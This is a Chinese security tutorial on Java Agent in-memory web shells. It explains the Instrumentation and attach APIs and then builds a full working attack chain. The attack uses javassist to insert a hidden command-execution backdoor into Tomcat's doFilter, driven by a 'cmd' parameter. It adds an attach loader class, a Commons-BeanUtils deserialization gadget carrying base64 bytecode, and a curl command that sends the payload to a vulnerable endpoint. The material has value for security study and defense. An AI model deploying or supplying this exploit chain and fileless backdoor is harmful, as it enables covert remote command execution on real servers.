[Java安全]—Agent内存马

文章首发于Secin:浅谈Agent内存马

摆了一个月了。。。。

Java Agent

在JVM中运行中,类是通过classLoader加载.class文件进行生成的。在类加载.class文件生成对应的类对象之前,我们可以通过修改.class文件内容,达到修改类的目的。而在 jdk 1.5之后引入了 java.lang.instrument 包,通过 java.lang.instrument 提供的对字节码进行操作的一系列api,而使用这些api开发出的程序就可以称之为java agent。

agent内存马

agent内存马就是利用上述特性修改特定的类或者方法,从而实现恶意方法的注入。

Java Agent中提供了两种加载方式(方法名相同情况下,拥有Instrumentation inst参数的方法优先级更高):

public static void agentmain(String agentArgs, Instrumentation inst) {
    ...
}

public static void agentmain(String agentArgs) {
    ...
}

public static void premain(String agentArgs, Instrumentation inst) {
    ...
}

public static void premain(String agentArgs) {
    ...
}

premain 在启动时进行加载 (jdk1.5之后)
agentmain 在启动后进行加载 (jdk1.6之后)

premain

在main函数之前调用,并且要求mainfest文件中有Premain-Class属性且利用-javaagent加载。

Demo

先看一下具体如果调用该方法:

先写一个实现premain方法的类,返回传入的参数agentArgs、inst

AgentTest.java

import java.lang.instrument.Instrumentation;

public class AgentTest {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        System.out.println(agentArgs);
        System.out.println(inst);
    }
}

接着创建 mainfest(注:在前边说到过文件中一定要有Premain-Class属性,其次最后要有空行)

agent.mf

Manifest-Version: 1.0
Premain-Class: AgentTest

MANIFEST.MF的其他选项:

Premain-Class: 包含 premain 方法的类(类的全路径名)
Agent-Class: 包含 agentmain 方法的类(类的全路径名)
Boot-Class-Path: 设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
Can-Redefine-Classes: true表示能重定义此代理所需的类,默认值为 false(可选)
Can-Retransform-Classes: true 表示能重转换此代理所需的类,默认值为 false (可选)
Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)

将AgentTest.java转为字节码文件,之后就是生成需要的jar文件了

javac AgentTest.java
jar cvfm agent.jar agent.mf AgentTest.class

在这里插入图片描述

前边说到premain是在main函数之前调用的,所以这里再写个带有main的测试类

Hello.java

public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello,Sentiment!");
    }
}

Hello.mf

Manifest-Version: 1.0
Main-Class: Hello

同样生成字节码文件或得到jar文件

javac Hello.java
jar cvfm hello.jar Hello.mf Hello.class

得到agent.jar 和 hello.jar后,利用-javaagent进行加载。

java -javaagent:agent.jar=Sentiment -jar hello.jar

在这里插入图片描述

可以看到先执行了premain方法,之后才执行main输出Hello,Sentiment!

整个流程:启动JVM之后查看是否存在jaavaagent参数,如果存在的话则会先执行premain方法再执行main

这种有个比较明显的弊端:若目标服务器已启动,则无法预先加载premain。

Instrumentation

在前边说到agent中用到的两种加载方式,第二种就是agentmain,这种方式就有效的解决了上述premain中提到的弊端。

了解agentmain之前需要先了解Instrumentation

Instrumentation也是premain方法的第二个形参的类型。Instrumentation 是 JVMTIAgent的一部分,Java agent通过这个类可以用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

下面列举几个使用到的该接口中的方法(参考文档):

addTransformer

注册Class 文件转换器,用于改变 Class 二进制流的数据。

  • transformer - 要注册的转换器
  • canRetransform - 参数用于定义是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void addTransformer(ClassFileTransformer transformer);

removeTransformer

删除转换器

  • transformer - 要删除的转换器
boolean removeTransformer(ClassFileTransformer transformer);

retransformClasses

对已加载的类重新定义,达到对已加载的类进行字节码修改的效果。

  • classes - 要重新转换的类数组;允许使用零长度数组,在这种情况下,此方法不执行任何操作
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException

isModifiableClass

测试类是否可通过重转换或重定义进行修改。

  • theClass - 要检查可修改的类
boolean isModifiableClass(Class<?> theClass)

getAllLoadedClasses

返回 JVM 当前装入的所有类的数组。

@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

agentmain

大致了解后接着看agentmain方法

这种方式只需要将premain的mf文件内容换成Agent-Class即可,例(还是需要注意换行):

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Test

它的加载主要通过两个重要的类 VirtualMachineVirtualMachineDescriptor,在com.sun.tools.attach中,但我的attach下并没有对应的这两个类,经过寻找发现在lib下有tools.jar,手动导入即可:

[Java安全]—Agent内存马_第1张图片

VirtualMachine

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。该类实现了以下几种方法:

public abstract class VirtualMachine {
    // 获得当前所有的JVM列表
    public static List<VirtualMachineDescriptor> list() { ... }

    // 根据pid连接到JVM
    public static VirtualMachine attach(String id) { ... }

    // 断开连接
    public abstract void detach() {}

    // 加载agent,agentmain方法靠的就是这个方法
    public void loadAgent(String agent) { ... }

}
  • list:获取所有JVM列表
  • Attach :允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
  • loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
  • Detach:断开连接即解除代理

VirtualMachineDescriptor 就不做探究了,其实就是个描述虚拟机的容器类,配合 VirtualMachine 使用的。

ClassFileTransformer

接着看一下ClassFileTransformer接口。

在addTransformer的第一个参数中见到过

void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

ClassFileTransformer中只有一个transform()方法

public interface ClassFileTransformer {
	..............
 	byte[]
    transform(  ClassLoader         loader,
                String              className,
                Class<?>            classBeingRedefined,
                ProtectionDomain    protectionDomain,
                byte[]              classfileBuffer)
        throws IllegalClassFormatException;
}

先简单理解几个功能即可:

  • Instrumentation.addTransformer()添加转换器后,在加载,重新定义或重新转换类时会调用转换器的transform方法。
  • canRetransform设为true后转换器便拥有了重转换能力
  • 没有加载的类,会使用ClassLoader.defineClass()定义它;已经加载的类,会使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

了解完后看一下agentmain具体实现:

AgentMain.java

实现agentmain()方法

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{
        inst.addTransformer(new Transformer(),true);
        System.out.println("Hello,Sentiment!");
    }
}

Transformer.java

AgentMain.java中通过addTransformer注册了转换器,而转换器类型是ClassFileTransformer,所以需要继承它并对其重写

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println(className);
        return classfileBuffer;
    }
}

AgentMain.mf

加上对应的Agent-Class

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain

Agent-Class外,还多了两个参数Can-Redefine-Classes: true是否支持类的重新替换,Can-Retransform-Classes: true是否支持类的重新定义。

在需要修改已经被JVM加载过的类的字节码的时候必须设置,否则会报错,Can-Redefine-Classes参数在ClassFileTransformer前半部分也有提到。

接着就是生成字节码文件

javac AgentMain.java
javac Transformer.java

生成后打包为jar文件

jar cvfm AgentMain.jar AgentMain.mf AgentDemo.java Transformer.class

[Java安全]—Agent内存马_第2张图片

接着就是测试类

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class AgentDemo {
    public static void main(String[] args) throws Exception{
        String path = "AgentMain.jar路径";
        //获取JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor v:list){
            String name=v.displayName();
            //System.out.println(name);
            if (name.contains("AgentDemo")){
                // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                VirtualMachine vm = VirtualMachine.attach(v.id());
                System.out.println("id => "+v.id());
                // 将AgentMain.jar 发送给虚拟机
                vm.loadAgent(path);
                // 解除代理链接
                vm.detach();
            }
        }
    }
}

结果:输出id后,调用了agentmain方法,并输出了加载的类名

[Java安全]—Agent内存马_第3张图片

基本流程:

先执行main方法输出id —> 通过attach连接后调用loadAgen —> 找到对应的jar后调用agentmain方法 —> 执行完后通过detach解除代理链接

但在JVM 启动时并不会主动加载tools.jar,所以需要我们通过URLClassloader 本地磁盘调用的方式进行加载

先通过classloader获取VirtualMachineVirtualMachineDescriptor

URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};
java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");

接着就跟之前的类似了,由于是通过classloader获取的方法,所以不能直接调用,这里先通过反射获取list()

Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);

获取后剩下部分同理获取想要的方法并调用:

String path = "D:\\java\\Java_Security\\src\\main\\java\\AgentMain.jar";
for(int i=0;i<list.size();i++){
    Object o = list.get(i);
    Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);
    String name = (String) displayName.invoke(o,null);
    //System.out.println(name);
    if (name.contains("Test")){
        Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);
        String id = (java.lang.String) getId.invoke(o,null);
        System.out.println("id => "+id);
        Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{String.class});
        Object vm = attach.invoke(o,new Object[]{id});
        Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{String.class});
        loadAgent.invoke(vm,new Object[]{path});
        Method detach = VirtualMachine.getDeclaredMethod("detach",null);
        detach.invoke(vm,null);
        break;
    }
}

最终poc

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;

public class Test {
    public static void main(String[] args) throws Exception{
        try{
            URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};
            java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
            Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
            List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);

            System.out.println("------------ Start ------------");
            String path = "D:\\java\\Java_Security\\src\\main\\java\\AgentMain.jar";
            for(int i=0;i<list.size();i++){
                Object o = list.get(i);
                Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                String name = (String) displayName.invoke(o,null);
                //System.out.println(name);
                if (name.contains("Test")){
                    Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);
                    String id = (java.lang.String) getId.invoke(o,null);
                    System.out.println("id => "+id);
                    Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{String.class});
                    Object vm = attach.invoke(o,new Object[]{id});
                    Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{String.class});
                    loadAgent.invoke(vm,new Object[]{path});
                    Method detach = VirtualMachine.getDeclaredMethod("detach",null);
                    detach.invoke(vm,null);
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

成功执行

[Java安全]—Agent内存马_第4张图片

Agent内存马

前边赘述那么多,其实都是为了内存马做准备,在前边也提到过若目标服务器已启动,则无法预先加载premain,所以这里使用的是agentmain注入内存马。

在使用Springboot环境debug后发现,SpringBoot环境中同tomcat一样,会调用ApplicationFilterChain#doFilter()方法,而这个方法学过Tomcat Filter内存马的话一定对其有很深的印象,doFilter方法就是实现Filter内存马的关键方法

[Java安全]—Agent内存马_第5张图片

而这个方法还封装了用户请求的request和response,所以我们就可以尝试使用springboot传入用户请求,并通过response返回请求信息,从而进行注入

public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
    if (Globals.IS_SECURITY_ENABLED) {
        ServletRequest req = request;
        ServletResponse res = response;

        try {

实验环境

使用反序列化方式进行注入,所以加上一个反序列化入口

package com.example.springtest.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class SpringTest {

    @ResponseBody
    @RequestMapping("/unser")
    public String unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "Success!";
    }

    @ResponseBody
    @RequestMapping("/demo")
    public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        return "Hello,Sentiment!";
    }
}

本次通过cb方法注入

依赖

<dependency>
    <groupId>commons-collectionsgroupId>
    <artifactId>commons-collectionsartifactId>
    <version>3.2.1version>
dependency>
<dependency>
    <groupId>commons-beanutilsgroupId>
    <artifactId>commons-beanutilsartifactId>
    <version>1.8.3version>
dependency>

注入实现

  1. 编写 agent.jar 从而实现 org.apache.catalina.core.ApplicationFilterChain#doFilter 进行字节码修改
  2. 利用 cc11 的反序列化漏洞将我们的加载代码打进去,然后使其执行来加载我们的 agent.jar

首先还是跟前边一样准备AgentMainTransformer

AgentMain.java

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation ins) {
        System.out.println("agentmain is running......");
        ins.addTransformer(new Transformer(),true);
        Class[] classes = ins.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    ins.retransformClasses(new Class[]{clas});
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}

Transformer.java

利用 insertBefore ,将内容插到前边,从而避免对原有程序造成影响

import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            //System.out.println(ClassName);
            ClassPool pool = ClassPool.getDefault();
            ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
            pool.appendClassPath(classPath);
            try {
                System.out.println("className:"+className);
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "java.lang.String[] cmds = new java.lang.String[]{\"cmd\",\"/c\",cmd};\n"+
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

mvn打包

pom.xml中加上:

<build>
    <plugins>
        <plugin>
            <artifactId>maven-assembly-pluginartifactId>
            <configuration>
                <descriptors>
                    <descriptor>src/main/resources/assembly.xmldescriptor>
                descriptors>
                <archive>

                archive>
            configuration>
        plugin>
    plugins>
build>

然后resources下面写assembly.xml

<assembly xmlns="http://maven.apache.org/ASSEMBLY/2.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/ASSEMBLY/2.0.0
                              http://maven.apache.org/xsd/assembly-2.0.0.xsd">

    <id>jar-with-dependenciesid>

    
    <formats>
        <format>jarformat>
    formats>

    <includeBaseDirectory>falseincludeBaseDirectory>
    <dependencySets>
        <dependencySet>
            <outputDirectory>/outputDirectory>
            <useProjectArtifact>trueuseProjectArtifact>
            <unpack>trueunpack>
            <scope>runtimescope>
            
            <excludes>
                <exclude>org.apache.storm:storm-coreexclude>
            excludes>
        dependencySet>
    dependencySets>
assembly>

然后mvn cleanmvn assembly:assembly产生AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar

[Java安全]—Agent内存马_第6张图片

接着将jar包中的MF文件内容修改一下(换行):

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain

[Java安全]—Agent内存马_第7张图片

恶意类Evil.java,跟前边一样依然用URLClassloader 进行本地磁盘调用

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;

public class Evil  extends AbstractTranslet {
    static {
        try{
            java.lang.String path = "C:\\Users\\del'l'\\Desktop\\AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar";
            URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};
            java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
            Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
            List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);

            for(int i=0;i<list.size();i++){
                Object o = list.get(i);
                Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                String name = (String) displayName.invoke(o,null);
                System.out.println(name);
				//根据自己的springboot路径进行修改
                if (name.contains("com.example.springtest.SpringTestApplication")){
                    Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);
                    String id = (String) getId.invoke(o,null);
                    System.out.println("id => " + id);
                    Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                    Object vm = attach.invoke(o,new Object[]{id});
                    Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                    loadAgent.invoke(vm,new Object[]{path});
                    Method detach = VirtualMachine.getDeclaredMethod("detach",null);
                    detach.invoke(vm,null);
                    System.out.println("Inject Success!");
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

生成恶意类Evil.java的字节码文件

javac Evil.java

将字节码文件进行base64加密后放到CB链中,进行动态字节码加载(这里直接用常规的cb方式改下字节码即可)

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB {
    public static void main(String[] args) throws Exception {
        //CC3
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAfwoAJQA6CAA7BwA8CAA9CgADAD4KAD8AQAgAQQoAPwBCCABDCABECgAdAEUKAEYARwcASAsADQBJCwANAEoIAEsHAEwJAE0ATgoATwBQCABRCgARAFIIAFMHAFQKABcAOggAVQoAFwBWCgAXAFcIAFgHAFkHAFoIAFsIAFwIAF0HAF4KACIAXwcAYAcAYQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBiAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcATAcAYwcAZAcAWQcAZQcASAcAXgEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMACYAJwEASkM6XFVzZXJzXGRlbCdsJ1xEZXNrdG9wXEFnZW50TWVtb3J5LTEuMC1TTkFQU0hPVC1qYXItd2l0aC1kZXBlbmRlbmNpZXMuamFyAQAMamF2YS9uZXQvVVJMAQA3ZmlsZTovLy9DOi9Qcm9ncmFtIEZpbGVzL0phdmEvamRrMS44LjBfNjUvbGliL3Rvb2xzLmphcgwAJgBmBwBkDABnAGgBACNjb20uc3VuLnRvb2xzLmF0dGFjaC5WaXJ0dWFsTWFjaGluZQwAaQBqAQAtY29tLnN1bi50b29scy5hdHRhY2guVmlydHVhbE1hY2hpbmVEZXNjcmlwdG9yAQAEbGlzdAwAawBsBwBlDABtAG4BAA5qYXZhL3V0aWwvTGlzdAwAbwBwDABxAHIBAAtkaXNwbGF5TmFtZQEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQcAdgwAdwBmAQAsY29tLmV4YW1wbGUuc3ByaW5ndGVzdC5TcHJpbmdUZXN0QXBwbGljYXRpb24MAHgAeQEAAmlkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdpZCA+Pj4gDAB6AHsMAHwAfQEABmF0dGFjaAEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBAAlsb2FkQWdlbnQBAAZkZXRhY2gBABtBZ2VudC5qYXIgSW5qZWN0IFN1Y2Nlc3MgISEBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAB+ACcBAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAD1tMamF2YS9uZXQvVVJMOwEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQALbmV3SW5zdGFuY2UBACooW0xqYXZhL25ldC9VUkw7KUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEc2l6ZQEAAygpSQEAA2dldAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAD3ByaW50U3RhY2tUcmFjZQAhACQAJQAAAAAABAABACYAJwABACgAAAAdAAEAAQAAAAUqtwABsQAAAAEAKQAAAAYAAQAAAAwAAQAqACsAAgAoAAAAGQAAAAMAAAABsQAAAAEAKQAAAAYAAQAAADMALAAAAAQAAQAtAAEAKgAuAAIAKAAAABkAAAAEAAAAAbEAAAABACkAAAAGAAEAAAA4ACwAAAAEAAEALQAIAC8AJwABACgAAAHlAAYAEQAAASESAksEvQADWQO7AANZEgS3AAVTTCu4AAZNLBIHtgAITiwSCbYACDoELRIKAbYACzoFGQUtAbYADMAADToGAzYHFQcZBrkADgEAogDPGQYVB7kADwIAOggZBBIQAbYACzoJGQkZCAG2AAzAABE6CrIAEhkKtgATGQoSFLYAFZkAlRkEEhYBtgALOgsZCxkIAbYADMAAEToMsgASuwAXWbcAGBIZtgAaGQy2ABq2ABu2ABMtEhwEvQAdWQMSEVO2AAs6DRkNGQgEvQAeWQMZDFO2AAw6Di0SHwS9AB1ZAxIRU7YACzoPGQ8ZDgS9AB5ZAypTtgAMVy0SIAG2AAs6EBkQGQ4BtgAMV7IAEhIhtgATpwAJhAcBp/8rpwAISyq2ACOxAAEAAAEYARsAIgACACkAAAB2AB0AAAAPAAMAEAAUABEAGQASACAAEwAoABQAMQAVAD0AFwBMABgAVwAZAGEAGgBuABsAdgAdAIAAHgCKAB8AlwAgALEAIQDCACIA1AAjAOUAJAD1ACUA/gAmAQcAJwEPACgBEgAXARgALQEbACsBHAAsASAALgAwAAAALgAF/wBAAAgHADEHADIHADMHADQHADQHADUHADYBAAD7ANH/AAUAAAAAQgcANwQAAQA4AAAAAgA5");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        //Commons-Beanutils
        BeanComparator beanComparator = new BeanComparator("outputProperties");

        //CC2


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",beanComparator);

        serialize(priorityQueue);
        //unserialize("1.ser");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

生成1.ser通过SpringBoot环境传入

curl -v "http://localhost:8080/unser" --data-binary "@./1.ser"

[Java安全]—Agent内存马_第8张图片

传参后提示注入成功:

[Java安全]—Agent内存马_第9张图片

注入成功

[Java安全]—Agent内存马_第10张图片

你可能感兴趣的:(Java,java,jvm,开发语言)